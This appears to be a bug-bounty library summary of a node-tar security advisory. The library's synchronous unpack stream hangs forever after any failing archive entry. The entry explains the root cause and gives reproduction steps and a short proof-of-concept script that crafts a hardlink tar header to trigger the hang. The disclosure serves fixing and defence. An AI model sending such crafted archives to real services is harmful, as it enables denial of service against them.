# node-tar UnpackSync never completes sync-stream extraction after any failing entry (PEND/UNPEND imbalance)

UnpackSync never calls PEND but inherits ONERROR's UNPEND, so one failing tar entry drives PENDING negative and permanently suppresses end/finish/close.

- Payout: Research
- Severity: high
- Program: node-tar
- Found by: president-xd, eros938, hash3liZer
- Disclosed: 2026-12-01
- CVE: CVE-2026-140252
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-25mm-r35j-6hgm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-25mm-r35j-6hgm
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:nodejs technique:regression technique:source-review vuln:dos

**Target:** npm tar library, UnpackSync stream extraction
**Root cause:** UnpackSync[CHECKFS] omits the [PEND]() call that the async Unpack performs, yet UnpackSync inherits Unpack[ONERROR], which unconditionally calls [UNPEND]() on any non-CwdError entry failure. [MAYBECLOSE] only fires when PENDING === 0, so a single failure drives PENDING to -1 and completion is never emitted.
**Steps:**
1. Install `tar@7.5.22` and run the PoC under Node v24.19.0.
2. Build a 512-byte header for a hardlink entry: `new Header({ path:'ln', type:'Link', linkpath:'nonexistent', size:0, mode:0o644 }).encode(b,0)`.
3. Create the sync stream: `const u = x({ sync: true, cwd: dir })`.
4. Attach `end`/`finish`/`warn` listeners, then `u.end(Buffer.concat([b, Buffer.alloc(1024)]))`.
5. Observe after 1.5s: only a `TAR_ENTRY_ERROR` warning, no `end`/`finish` — stream hangs.
**How found:** Code reading of the PEND/UNPEND/MAYBECLOSE bookkeeping: noticed UnpackSync[CHECKFS] performs the same filesystem work as the async version but never calls [PEND](), while UnpackSync does not override the inherited [ONERROR] that always calls [UNPEND](). Also spotted a missing `return` after the rmdir branch at src/unpack.ts:953-954 causing double MAKEFS invocation and PENDING = -2.
**Exploitation:** An attacker supplies an archive containing at least one entry that fails during extraction (e.g. a hardlink to a nonexistent target). Any consumer piping into `new UnpackSync()` or `x({ sync: true })` without `file` and awaiting stream completion hangs indefinitely; the failure is only a non-fatal warning, so there is no error to catch. A single 512-byte entry wedges the consumer.
**Insight:** When a sync subclass reuses an async base class's lifecycle counters, diff every PEND/UNPEND (or refcount) call site between the two implementations — a missing acquire paired with an inherited release silently drives the counter negative, and completion predicates that test equality to zero then never fire.

## Proof of concept (copied exactly from the original report)

**PoC script hanging UnpackSync on failing hardlink**

```
const { Header, x } = require('tar'); const fs = require('fs')
const dir = '/tmp/sync-hang'; fs.rmSync(dir,{recursive:true,force:true}); fs.mkdirSync(dir,{recursive:true})
const b = Buffer.alloc(512)
new Header({ path:'ln', type:'Link', linkpath:'nonexistent', size:0, mode:0o644 }).encode(b,0)
const u = x({ sync: true, cwd: dir })          // the UnpackSync stream
let ended = false; const warns = []
u.on('end', ()=>ended=true); u.on('finish', ()=>ended=true); u.on('warn', c=>warns.push(c))
u.end(Buffer.concat([b, Buffer.alloc(1024)]))
setTimeout(()=>{ console.log(ended ? 'ENDED' : '*** HANG: end/finish never emitted', 'warnings=', warns); process.exit(0) }, 1500)
```

